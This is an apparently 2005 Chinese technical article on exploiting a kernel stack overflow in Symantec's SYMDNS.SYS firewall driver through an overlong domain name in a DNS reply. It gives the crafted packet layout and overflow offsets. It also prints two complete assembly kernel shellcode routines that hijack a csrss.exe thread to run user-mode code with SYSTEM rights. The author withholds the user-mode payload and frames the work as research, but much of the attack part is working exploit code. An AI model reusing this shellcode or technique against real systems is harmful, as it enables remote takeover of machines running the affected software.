📄 2005320142933.htm
字号:
<tr>
<td width="100%"><p class="style6"><P><FONT face=Verdana> 原来根据FLASHSKY大牛在峰会上的报告分析了这个漏洞写了两篇随笔，，因为写得仓促，里面难免有不少错漏，朋友建议我汇总一下，也方便日后参考，于是把两篇文章汇总并做了些修改。</FONT></P>
<P><FONT face=Verdana> 这个漏洞与大多数堆栈溢出漏洞不同的是它是发生在内核态里。堆栈溢出发生于SYMANTEC防火墙的驱动SYMDNS.SYS中，当处理DNS答复时，由于未检验总域名长度，导致可以输入一超长域名导致溢出，溢出发生在RING0、IRQL = 2(DISPATCH_LEVEL)、 进程PID为0(idle进程)的环境下。</FONT></P>
<P><FONT face=Verdana> 一个DNS报文格式如下：<BR> "\xEB\x0B" //报文ID，可以随意设置，但在这个漏洞里是别有用途的，后面会说到<BR> "\x80\x00" //报文FLAG，15位置1表示这是一个答复报文<BR> "\x00\x01" //问题数量<BR> "\x00\x01" //答复数量<BR> "\xXX\xXX" //授权资源记录数，在这里不重要，随便设置<BR> "\xXX\xXX" //格外信息资源记录数，在这里不重要，随便设置<BR> 以上部分为DNS报文头<BR> "\xXX\xXX\x..." //域名，格式为每个分段域名长度+域名内容，比如www.buaa.edu.cn就是<BR>\x03\x77\x77\x77\x04\x62\x75\x61\x61\x03\x65\x64\x75\x02\x63\x6e\x00<BR> w w w b u a a e d u c n<BR>\x00表示到了末尾。处理的时候会把那长度记录数换成0x2e，就是"."，就完成了处理。</FONT></P>
<P><FONT face=Verdana> 在SYMDNS.SYS中处理传入域名的函数位于SYMDNS.SYS基地址+0xa76处，这个函数在堆栈里分配了0x214个字节空间，再将域名拷入，虽然会计算总长度并做限制，但由于计算错误，算了也是白算，导致可以输入超长域名发生堆栈溢出。传入的每个域名分段有最大长度限制，不能超过0x40个字节，所以我每段SHELLCODE长度都是0x3f(63)个字节。在覆盖了532个字节后，覆盖了该函数的返回地址。这个漏洞有个特点，就是在堆栈中二次处理传入的域名，导致堆栈中返回地址之前的SHELLCODE的后半部分面目全非、惨不忍睹。现在有两种执行SHELLCODE的方法：</FONT></P>
<P><FONT face=Verdana> 一是在我们覆盖的返回地址所在的esp+0xc处保存有我们整个DNS报文(包括DNS报文头)的地址，是一个在非分页池的地址，</FONT></P>
<P><FONT face=Verdana>74816d74 4c816c9b 816d002e 816c9e34<BR> |_____esp指向这 |_______这个就是非分页池的地址</FONT></P>
<P><FONT face=Verdana>现在大家应该知道该干啥了吧？虽然在内核里没有固定的jmp [esp+0xc]、 call [esp+0xc]这样的地址，但我们可以变通一下，使用诸如pop/pop/pop/ret这样的指令组合，机器的控制权就交到我们手上了。不过这3条pop指令里最好不要带有pop ebp，不然会莫名其妙的返回到一个奇怪的地址。在strstr函数的最后有两个pop/pop/pop/ret的组合挺合适。现在明白开头那个报文ID的作用了吧？\xEB\x0B是一个直接跳转的机器指令，跳过一开始没用的DNS报文头和第一段SHELLCODE长度计数字节。FLASHSKY在会刊里说要跳过长度计数字节，但0x3f对应的指令是aas，对EAX进行ascii调整，所以在一般不影响EAX和标志的情况下可以把这个0x3f也算作SHELLCODE的一部分，可以省下不少字节^_^。</FONT></P>
<P><FONT face=Verdana> 二是在堆栈里覆盖的返回地址的esp+0x8处开始执行我们的SHELLCODE，返回地址之后的SHELLCODE那个函数不会做处理。但如果SHELLCODE实在太长的话会覆盖到有关DPC调度的一些信息。一个变通的方法，可以先跳回返回地址前的SHELLCODE的前半部分没被修改的部分，可以执行接近200个字节，再跳到返回地址后的SHELLCODE部分执行，这样空间就应该足够了。但由于堆栈中的SHELLCODE的每个段开始的0x3f已经被换成了0x2e，0x2e不单独对应机器码，所以只能在每个SHELLCODE段的最后部分改成\xeb\x01跳过0x2e。</FONT></P>
<P><FONT face=Verdana> 在安全返回法里，由于要取出堆栈里后面函数的返回地址，不能覆盖太多，只能使用第一种方法在池中执行SHELLCDOE，安全返回法的内核态SHELLCODE只有230个字节左右，池中还剩下310个字节左右可以利用。在非安全返回法由于关于DPC调度、被锁定的资源等关键数据所处堆栈位置距离溢出点比较大，所以可以在堆栈中执行。</FONT></P>
<P><FONT face=Verdana> 安全返回法</FONT></P>
<P><FONT face=Verdana> 现在当前环境是0号进程，要把进程地址空间切到其他进程就得先获得那个进程的EPROCESS地址。0号进程很特别，就是该进程基本不挂在所有进程的链表上，比如说ActiveProcessLinks、SessionProcessLinks、WorkingSetExpansionLinks，正常情况来说只能枚举线程的WaitListHead来枚举所有线程并判断进程，这样很麻烦而且代码很长，但天无绝人之路，在KPCR+0x55c(+55c struct _KTHREAD *NpxThread)处保存有一个8号进程的一个线程ETHREAD地址，由ETHREAD+0x44处可以获得该线程所属EPROCESS的地址，而且8号进程是挂在除SessionProcessLinks之外的其它链表上的，所以现在我们能够获取其它进程EPROCESS地址了。下一步是切换进程地址空间，从目标进程EPROCESS+0x18处取出该进程页目录的物理地址并将当前CR3寄存器修改为该值既可(我一开始还修改了任务段KTSS中的CR3也为该值，结果发现这不是必须的)。然后在该进程内选择一个合适的线程来运行我们的用户态SHELLCODE，这个选择很重要，因为当前IRQL = 2，任何访问缺页的地址都将导致IRQL_NOT_LESS_OR_EQUAL蓝屏错误，因为缺页会导致页面I/O，最后会在对象上等待，这违背了不能在IRQL = 2等待对象的规则。按照一个标准的5调度状态模型的操作系统，当一个线程等待过久就会导致该线程的内核堆栈被换出内存，这样的线程我们是不能用的。所以我们需要判断ETHREAD+=0x11e(+11e byte KernelStackResident)是否为TRUE，为TRUE表示该线程内核堆栈未被换出内存。这又关系到究竟该选择哪个系统进程，选择系统进程这样返回的SHELL是SYSTEM的权限，该进程必须是个活跃的进程，才能保证每时每刻都有未被换出内存的线程。winlogon.exe是肯定不行的，因为在大多情况下这是一个0工作集的空闲进程。在lsass.exe、smss.exe、csrss.exe这3个进程里我最后选择了csrss.exe，因为想想看WIN32的子系统无论怎样都应该闲不住吧:)，事实也证明选择这个进程基本都可以找到合适线程。枚举一个进程的线程可以在EPROCESS+0x50处取链表头，该链表链住了该进程的所有线程，链表位置在ETHREAD+0x1a4处：</FONT></P>
<P><FONT face=Verdana>struct _EPROCESS (sizeof=648)<BR>+000 struct _KPROCESS Pcb<BR>+050 struct _LIST_ENTRY ThreadListHead<BR>+050 struct _LIST_ENTRY *Flink<BR>+054 struct _LIST_ENTRY *Blink</FONT></P>
<P><FONT face=Verdana>struct _ETHREAD (sizeof=584)<BR>+000 struct _KTHREAD Tcb<BR>+1a4 struct _LIST_ENTRY ThreadListEntry<BR>+1a4 struct _LIST_ENTRY *Flink<BR>+1a8 struct _LIST_ENTRY *Blink<BR>或者EPROCESS+0x270处取链表头，链表位置在ETHREAD+0x240处：<BR>struct _EPROCESS (sizeof=648)<BR>+270 struct _LIST_ENTRY ThreadListHead<BR>+270 struct _LIST_ENTRY *Flink<BR>+274 struct _LIST_ENTRY *Blink</FONT></P>
<P><FONT face=Verdana>struct _ETHREAD (sizeof=584)<BR>+240 struct _LIST_ENTRY ThreadListEntry<BR>+240 struct _LIST_ENTRY *Flink<BR>+244 struct _LIST_ENTRY *Blink </FONT></P>
<P><FONT face=Verdana> 剩下的就是在该进程地址空间内分配虚拟地址，锁定，并拷贝SHELLCODE过去，依次调用API为：ZwOpenProcess(这里要注意，如果没改变CR3的话这个调用会导致蓝屏，因为地址空间不符)->ZwAllocateVirtualMemory->ZwLockVirtualMemory->ZwWriteVirtualMemory，为了通用性我用mov eax, API NUMBER; int 2e这样的底层接口来调用API。在调用ZwWriteVirtualMemory之前我们得先修改该线程下次要执行的EIP，它是保存在KTRAP_FRAME+0x68处，把它修改为我们分配的地址。KTRAP_FRAME在线程堆栈底InitialStack-x29c的地方，ETHREAD+0x128直接指向该地址。记得将原来的EIP保存在我们的用户态SHELLCODE中，类似push 0x12345678; ret这样的格式，代码就会返回12345678的地址，所以在内存中就是\x68\x78\x56\x34\x12\xc3，将原来的返回地址覆盖那个12345678就行了，在执行完我们的功能代码后线程会恢复正常执行。</FONT></P>
<P><FONT face=Verdana> 最后一段是一些固定的针对该漏洞的特征返回，主要是取出未被覆盖的返回地址并让EBP恢复正常，并设置特定的寄存器值以满足返回后的检测条件。这里我跳过了所有剩下的在SYMDNS.SYS的调用，因为那些函数都会从堆栈中取值，而堆栈值很多都被我们改了，所以我直接返回到tcpip!UDPDeliver处的调用，返回这里有个好处，就是它完全不管你处理了什么、怎么处理，它只管检测返回值eax是否为0，很符合我们的要求，呵呵。</FONT></P>
<P><FONT face=Verdana> 这个SHELLCODE大概只有3/4的成功率，因为在有些情况下我们的DNS报文的地址不附加在esp+0xc处，还有有时会碰到进程所有线程都被换出了内存，还有一定的小概率会发生NDIS死锁-_-有时候RP爆发时一天都没啥问题，有时虚拟机狂蓝屏。。。。有关内核溢出里最大的问题估计就是缺页的问题了，由于IRQL = 2下不能换页，所以有些情况下很可能有些关键的地方访问不了。一些变通的方法可以使用诸如work item，这可以在IRQL = 2下调用，然后由系统工作者线程来替我们完成工作。这都是些改进设想。<BR> <BR> SHELLCODE由内核SHELLCODE和用户SHELLCODE组成，内核SHELLCODE负责返回并执行用户SHELLCODE，用户SHELLCODE则是普通的功能，注意得加入穿防火墙的代码就行。下面是内核SHELLCODE代码，没提供完整的SHELLCODE，因为一是只是为了技术研究，而是不想被那些对技术一窍不通却只想着破坏的人利用。转成机器码只有230多个字节，基本不算太大:)：<BR> <BR>__declspec(naked) JustTest() <BR>{ <BR> __asm<BR> {<BR> call go1<BR>go1:<BR> pop eax<BR> push eax<BR> mov ebx, 0xffdff55c<BR> mov ebx, dword ptr [ebx]<BR> mov ebx, dword ptr [ebx+0x44]</FONT></P>
<P><FONT face=Verdana> push 0x73727363<BR>FindProcess:<BR> mov edi, esp<BR> lea esi, dword ptr [ebx+0x1fc]<BR> push 0x4<BR> pop ecx<BR> repe cmpsb<BR> jecxz go2<BR> mov ebx, dword ptr [ebx+0xa0]<BR> sub ebx, 0xa0<BR> jmp FindProcess<BR>go2: <BR> pop edx<BR> mov edx, dword ptr [ebx+0x50]<BR>FindThread:<BR> movzx ecx, byte ptr [edx-0x86]<BR> dec ecx<BR> jecxz go3<BR> mov edx, dword ptr [edx]<BR> jmp FindThread<BR>go3:<BR> mov eax, dword ptr [ebx+0x18]<BR> mov ebp, esp<BR> sub esp, 0x40<BR> push edx<BR> mov cr3, eax</FONT></P>
<P><FONT face=Verdana> push 0x10<BR> pop ecx<BR> xor eax, eax<BR> lea edi, dword ptr [ebp-0x40]<BR>ZeroStack:<BR> stosd<BR> loop ZeroStack<BR> mov byte ptr [ebp-0x38], 0x18<BR> lea edi, dword ptr [edx+0x3c]<BR> push edi<BR> lea edi, dword ptr [ebp-0x38]<BR> push edi<BR> lea edi, dword ptr [ebp-0x8]<BR> push 0x1f0fff<BR> push edi</FONT></P>
<P><FONT face=Verdana> mov al, 0x6a<BR> lea edx, dword ptr [esp]<BR> int 0x2e<BR> add esp, 0x10</FONT></P>
<P><FONT face=Verdana> mov byte ptr [ebp-0x3], 0x2<BR> push 0x40<BR> push 0x1000<BR> lea edi, dword ptr [ebp-0x4]<BR> push edi<BR> push eax<BR> lea edi, dword ptr [ebp-0xc]<BR> push edi<BR> push dword ptr [ebp-0x8]</FONT></P>
<P><FONT face=Verdana> mov al, 0x10<BR> lea edx, dword ptr [esp]<BR> int 0x2e<BR> add esp, 0x18</FONT></P>
<P><FONT face=Verdana> push 0x2<BR> lea ebx, dword ptr [ebp-0x4]<BR> push ebx<BR> lea ebx, dword ptr [ebp-0xc]<BR> push ebx<BR> push dword ptr [ebp-0x8]</FONT></P>
<P><FONT face=Verdana> mov al, 0x59<BR> lea edx, dword ptr [esp]<BR> int 0x2e<BR> add esp, 0x10</FONT></P>
<P><FONT face=Verdana> mov edi, dword ptr [ebp]<BR> pop edx<BR> mov edx, dword ptr [edx-0x7c]<BR> push dword ptr [edx+0x68]<BR> pop dword ptr [edi+0x210]<BR> push dword ptr [ebp-0xc]<BR> pop dword ptr [edx+0x68]<BR> add edi, 0x11c</FONT></P>
<P><FONT face=Verdana> push eax<BR> push 0x120<BR> push edi<BR> push dword ptr [ebp-0xc]<BR> push dword ptr [ebp-0x8]<BR> <BR> mov al, 0xf0<BR> lea edx, dword ptr [esp]<BR> int 0x2e</FONT></P>
<P><FONT face=Verdana> add esp, 0x100<BR> xor eax, eax<BR> mov esi, dword ptr [esp+0x38]<BR> mov ebp,esp<BR> add ebp,0x88<BR> ret 0x2c<BR> }<BR>} </FONT></P>
<P><FONT face=Verdana> 非安全返回法二</FONT></P>
<P><FONT face=Verdana> 没实现非安全返回法一，因为里面的技术要点都包括在安全返回法和非安全返回法二里了，而且限制实在太大，很让人不爽。主要就是那个BAT的下载文件的内容，可以参见相关文章。</FONT></P>
<P><FONT face=Verdana> 正如FLASHSKY所说，非安全返回法二的关键在于恢复DPC，不象安全返回法，我们完全不必关心线程切换和DPC调度。不过FLASHSKY夸大了DPC被破坏的情况，尤其是环境切换，就算在安全返回法里，在执行我们的代码时系统也进行了数次环境切换和DPC调度(在int 0x2e里发生)。先让我们看看一个DPC调度是怎样完成的，以下是KPCR结构中涉及到DPC调度的部分：</FONT></P>
<P><FONT face=Verdana> +7e0 uint32 DpcInterruptRequested<BR> +7e4 void *ChainedInterruptList<BR> +7e8 uint32 CachePad3[2]<BR> +7f0 uint32 MaximumDpcQueueDepth<BR> +7f4 uint32 MinimumDpcRate<BR> +7f8 uint32 CachePad4[2]<BR> +800 struct _LIST_ENTRY DpcListHead<BR> +800 struct _LIST_ENTRY *Flink<BR> +804 struct _LIST_ENTRY *Blink<BR> +808 uint32 DpcQueueDepth<BR> +80c uint32 DpcRoutineActive<BR> +810 uint32 DpcCount<BR> +814 uint32 DpcLastCount<BR> +818 uint32 DpcRequestRate<BR> +81c void *DpcStack</FONT></P>
<P><FONT face=Verdana> DPC的处理方法有两种，一种是把KDPC对象串上DpcListHead。在KiIdleLoop或KiDispatchInterrupt里，系统检测到当前DPC链表不为空，于是调用KiRetireDpcList，KiRetireDpcList设置当前DpcRoutineActive状态为TRUE(M$在这里把ESP的值赋与该成员，显然任何时刻ESP都是大于0的)并把DpcInterruptRequested设置为TRUE，然后从DpcListHead里取出串在该链表上的KDPC结构的DPC例程入口和参数。处理完后恢复原状并把DpcCount加一。另一种方法是等待KTIMER调度对象，DPC调度发生的频率是相当高的，但大部分时间都是处理定时器KTIMER过期DPC，很多DPC通过等待KTIMER的方法被在KiTimerExpiration->KiTimerListExpire里处理。这里的溢出是属于第一种方法，我们处于DPC调度中，DpcRoutineActive和DpcInterruptRequested都为TRUE，进行栈回溯就会发现是由KiIdleLoop调用了KiRetireDpcList。显然这两处成员得恢复原来的0值(其实不恢复也可以，在第一个int 0x2e里如果发生了DPC调度后就会帮我们恢复，但就会降低溢出的成功率，因为如果在int 0x2e在ATTACH进程前还没发生DPC调度系统就会蓝屏)。其实系统中有些蓝屏是系统有意调用KeBugCheck以防止你做某些事，这些事情如果你处理得好是不会对系统产生影响的，比如不能在DPC处理处于活动(就是DpcRoutineActive为TRUE)进行环境切换，但在这个漏洞溢出里我们第一步就是进行环境切换:)。所以突破系统对我们的刁难而完成系统本身的功能，就是我们对内核感兴趣的原因，能够控制整个操作系统真的很爽，扯远了，呵呵。恢复DPC有个技巧，既然上一次KiIdleLoop的调用是KiRetireDpcList，那么IDLE线程的KernelStack(ETHREAD+0x28)处的内容肯定指向KiIdleLoop里调用KiRetireDpcList后的下一条指令：</FONT></P>
<P><FONT face=Verdana>call nt!KiRetireDpcList<BR>cmp dword ptr [ebx+0x128],0x0</FONT></P>
<P><FONT face=Verdana>如果不改动这里的话环境切换后系统恢复到这里执行，下一步就是判断保存在ebp里的DpcListHead代表的链表是否为空，但由于刚发生完一个环境切换ebp的值已经被修改为KTSS的值了，切换到IDLE线程后肯定出错。所以我们需要人为的对这个地址(指调用KiRetireDpcList后的下一条指令)做点手脚，加上0x2d，使它变为调用了SwapContext后的下一条指令：</FONT></P>
<P><FONT face=Verdana>call nt!SwapContext<BR>lea ebp,[ebx+0x800]</FONT></P>
<P><FONT face=Verdana>显然ebp已经恢复了，DPC调度可以继续进行了。</FONT></P>
<P><FONT face=Verdana> 恢复DPC我们有两种选择，一是将当前DPC跳过，二是重新把当前DPC(这里是ndisMDpc)加入DPC链表头准备下一次重新调度。前一种方法的好处是方便，可以省下不少代码，也是我使用的方法，不过有一个小问题，就是无法再PING通，会产生网络已被中断的错觉，其实网络是通的，SHELL也拿得到。第二种方法虽然网络功能一切正常，不过远程的机器会出现一些异常，比如开始菜单无法再用，当然SHELL也一切正常。两种方法的共同点都是必须为前面加锁的NDIS_MINIPORT_BLOCK结构解锁，该结构地址保存在IDLE线程堆栈中距离溢出点距离比较大的地方，所以可以很安全取到。</FONT></P>
<P><FONT face=Verdana> 下一步就是进行环境切换，要切换的线程是我们选择的目标特权进程内内核栈未换出的线程。把要切换的线程赋给KPCR+0x124处，把下一个要切换的线程(IDLE线程)赋于KPCR+0x128处，并把IDLE线程状态(ETHREAD+02d byte State)改为待命(0x3)。然后就是通过改变CR3切换进程地址空、修改TEB描述符指向新线程TEB、从目标要切换线程中取出KernelStack赋于当前esp，记住，从这里开始我们已经处于新线程的堆栈中了，如果你之前有什么重要的信息压在IDLE线程的堆栈里，赶快在切换ESP前出栈吧。还有一点很重要的是，由于我们是强行把一个处于等待状态的线程进行环境切换并运行(要想找到处于就绪状态且属于目标特权进程的线程实在太考验RP了，其机率快可以比上抽六合彩了)，就必须在等待链表KiWaitInListHead里把该线程摘除(这里说一下KiWaitInListHead和KiWaitOutListHead的区别，前者是处于等待状态且内核栈未被换出的线程链表，而后者是处于等待状态且内核堆栈已被换出的线程链表)，否则就会在KiOutSwapKernelStack处发生死循环。最后就是直接返回到KiSwapContext(这是该线程上次环境切换时保存在堆栈中的)，系统就会接管工作了(这里需要提出的是，其实IDLE线程自从被赋于KPCR+0x128并被改为待命后，早在第一个int 0x2e就被调度执行了)。</FONT></P>
<P><FONT face=Verdana> 我开始时SHELLCODE的结构是先完成其它功能，再环境切换，结果遇到了个很奇怪的问题。就是在WinDBG里如果单步跟过ZwLockVirtualMemory的int 0x2e再g或者在该int 0x2e后任意处设置一个int 0x3断下来再g，系统都一切正常，但如果直接g或者干脆前面就没下过断点那么系统就会出现奇怪的问题。我猜想是WinDBG代替完成了一些DPC的调用。我曾经尝试解决这个问题，结果被郁闷了N次，主要是在WinDBG的干预下系统一切正常。后来想到前面几次环境切换和DPC调度都使用了IDLE线程的内核堆栈，而后面又直接修改回正常值(IDLE的KernelStack, 在ETHREAD+0x28处，是个不变的值，不修改的话调度后会返回到错误的回址)，估计问题发生在这里，所以我把SHELLCODE前后结构改了，先环境切换再完成其它功能，这样不会再干预IDLE的内核栈，事实证明这样是正确的:)还有就是我的环境切换代码是一再精简过的SwapContext版本，把所有可有可无的代码全去掉了，比如修改KPCR中某些不会用到的成员的代码全去掉了，甚至连线程状态都没改，还是保持在等待状态，反正系统正常环境切换也不会检测正在运行的线程是什么状态，呵呵。</FONT></P>
<P><FONT face=Verdana> 下面是内核SHELLCODE代码，转换成机器码大概320个字节。如果用第二种恢复DPC的方法大概350个字节。这段代码是在池中执行的，换成在堆栈中执行时记得把里面一些关于堆栈的偏移地址修正一下：</FONT></P>
<P><FONT face=Verdana>__declspec(naked)JustTest2() <BR>{ <BR> __asm<BR> {<BR> call go1<BR>go1:<BR> pop eax<BR> push eax<BR> mov ebp, 0xffdff80c<BR> mov ebx, dword ptr [ebp-0x2b0]<BR> mov ebx, dword ptr [ebx+0x44]<BR> xor eax, eax</FONT></P>
<P><FONT face=Verdana> push 0x73727363<BR>FindProcess:<BR> mov edi, esp<BR> lea esi, dword ptr [ebx+0x1fc]<BR> push 0x4<BR> pop ecx<BR> repe cmpsb<BR> jecxz go2<BR> mov ebx, dword ptr [ebx+0xa0]<BR> sub ebx, 0xa0<BR> jmp FindProcess<BR>go2: <BR> pop edx<BR> mov dword ptr [ebp], eax<BR> mov esi, dword ptr [esp+0x33c]<BR> mov byte ptr [esi+0x2d], al</FONT></P>
<P><FONT face=Verdana> lea esi, dword ptr [ebx+0x50]<BR>FindThread:<BR> mov esi, dword ptr [esi]<BR> test byte ptr [esi-0x86], 0x1<BR> jnz go3<BR> jmp FindThread<BR>go3:<BR> mov edx, dword ptr [ebx+0x18]<BR> sub esi, 0x1a4</FONT></P>
<P><FONT face=Verdana> mov ebx, 0xffdff000<BR>// lea ecx, dword ptr [ebp-0xc]<BR> mov ebp, dword ptr [ebx+0x124]<BR> mov dword ptr [ebx+0x128], ebp<BR> inc byte ptr [ebp+0x2d]<BR> mov edi, dword ptr [ebp+0x28]<BR> add dword ptr [edi+0x8], 0x2d<BR>// mov ebp, dword ptr [edi-0x8]<BR>// add ebp, 0x4<BR>// mov edi, dword ptr [ecx]<BR>// mov dword ptr [edi], ebp<BR>// mov dword ptr [ebp+4], edi<BR>// mov dword ptr [ecx], ebp</FONT></P><FONT face=Verdana>
<P><BR> mov dword ptr [ebx+0x124], esi<BR> mov cl, byte ptr [esi+0x2c]<BR> mov byte ptr [ebx+0x50], cl<BR> mov ebp, dword ptr [esi+0x5c]<BR> mov edi, dword ptr [esi+0x60]<BR> mov dword ptr [edi], ebp<BR> mov dword ptr [ebp+0x4], edi<BR> pop edi<BR> push dword ptr [esi+0x1c]<BR> pop dword ptr [ebx+0x8]<BR> mov esp, dword ptr [esi+0x28]<BR> mov ecx, dword ptr [esi+0x20]<BR> mov dword ptr [ebx+0x18], ecx<BR> mov ebp, dword ptr [ebx+0x3c]<BR> mov word ptr [ebp+0x3a], cx<BR> shr ecx, 0x10<BR> mov byte ptr [ebp+0x3c], cl<BR> shr ecx, 0x8<BR> mov byte ptr [ebp+0x3f], cl<BR> mov ebp, dword ptr [ebx+0x40]<BR> mov dword ptr [ebp+0x1c], edx<BR> mov cr3, edx<BR> push edi<BR> mov ebp, esp<BR> sub esp, 0x40<BR> push ebx<BR> push esi</P>
<P> push 0x10<BR> pop ecx<BR> lea edi, dword ptr [ebp-0x40]<BR>ZeroStack:<BR> stosd<BR> loop ZeroStack<BR> mov byte ptr [ebp-0x38], 0x18<BR> lea edi, dword ptr [esi+0x1e0]<BR> push edi<BR> lea edi, dword ptr [ebp-0x38]<BR> push edi<BR> lea edi, dword ptr [ebp-0x8]<BR> push 0x1f0fff<BR> push edi</P>
<P> mov al, 0x6a<BR> lea edx, dword ptr [esp]<BR> int 0x2e<BR> add esp, 0x10<BR> mov byte ptr [ebp-0x3], 0x2<BR> push 0x40<BR> push 0x1000<BR> lea edi, dword ptr [ebp-0x4]<BR> push edi<BR> push eax<BR> lea edi, dword ptr [ebp-0xc]<BR> push edi<BR> push dword ptr [ebp-0x8]</P>
<P> mov al, 0x10<BR> lea edx, dword ptr [esp]<BR> int 0x2e<BR> add esp, 0x18</P>
<P> push 0x2<BR> lea ebx, dword ptr [ebp-0x4]<BR> push ebx<BR> lea ebx, dword ptr [ebp-0xc]<BR> push ebx<BR> push dword ptr [ebp-0x8]</P>
<P> mov al, 0x59<BR> lea edx, dword ptr [esp]<BR> int 0x2e<BR> add esp, 0x10<BR> mov edi, dword ptr [ebp]<BR> pop edx<BR> mov edx, dword ptr [edx+0x128]<BR> push dword ptr [edx+0x68]<BR> pop dword ptr [edi+0x1a0]<BR> push dword ptr [ebp-0xc]<BR> pop dword ptr [edx+0x68]<BR> add edi, 0x19a</P>
<P> push eax<BR> push 0x120<BR> push edi<BR> push dword ptr [ebp-0xc]<BR> push dword ptr [ebp-0x8]<BR> <BR> mov al, 0xf0<BR> lea edx, dword ptr [esp]<BR> int 0x2e</P>
<P> mov ebx, dword ptr [esp+0x14]<BR> add esp, 0x5c<BR> pop ecx<BR> mov dword ptr [ebx], ecx<BR> popfd<BR> ret<BR> }<BR>} </P>
<P>//后的代码是用于第二种DPC恢复的。</P>
<P>后记：<BR> <BR> 内核溢出是一个全新的领域，里面有很多东西值得我们去探索。这篇文章就算是抛砖引玉，如果能给大家有所帮助，也就算达到目的了。很多地方都有很多不足，尤其是非安全返回法，还没找到能让系统完全恢复原样的方法。如果有什么错漏处或者可以改进的地方，欢迎向我提出。<BR></FONT></P></p>
<p><img src="http://www.koyee.com/images/dgg.gif" height="70" width="587"> </p></td>
</tr>
<tr>
<td width="628" bordercolor="0" class="font1"><p>
<hr size="1" color="#0a778b" width="100%">
<table><tr><td width="269" align="center">上一篇: <a href=../78/2005320142851.htm title=简单证书认证协议>简单证书认证协议</a> </td>
<td width="285" align="center">下一篇: <a href=../90/200542823048.htm title=gew>gew</a></td>
</tr></table>
<hr size="1" color="#0a778b" width="100%">
<div align="right"> <a href="javascript:window.print()"><img src="../../images/printer.gif" width="16" height="14" border="0" align="absmiddle">打印本页</a> | <a href="javascript:window.close()"><img src="../../images/close.gif" width="14" height="14" border="0" align="absmiddle">关闭窗口</a> </div>
<p></p></td>
</tr>
</table></td>
</tr>
</table>
<TABLE height=62 cellSpacing=0 cellPadding=0 width="800"
align=center background=../../images/webtop_bg.gif
border=0>
<TBODY>
<TR>
<TD><div align="center" class="style4">Copyright @ 2004-2008 http://www.koyee.com 可以网络在线版权所有<br>
公司地址:江西南昌 电话:13879173467 邮编:330029<br>
email:chenxueyan9999@163.com</div></TD>
</TR></TBODY></TABLE>
</BODY></HTML>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -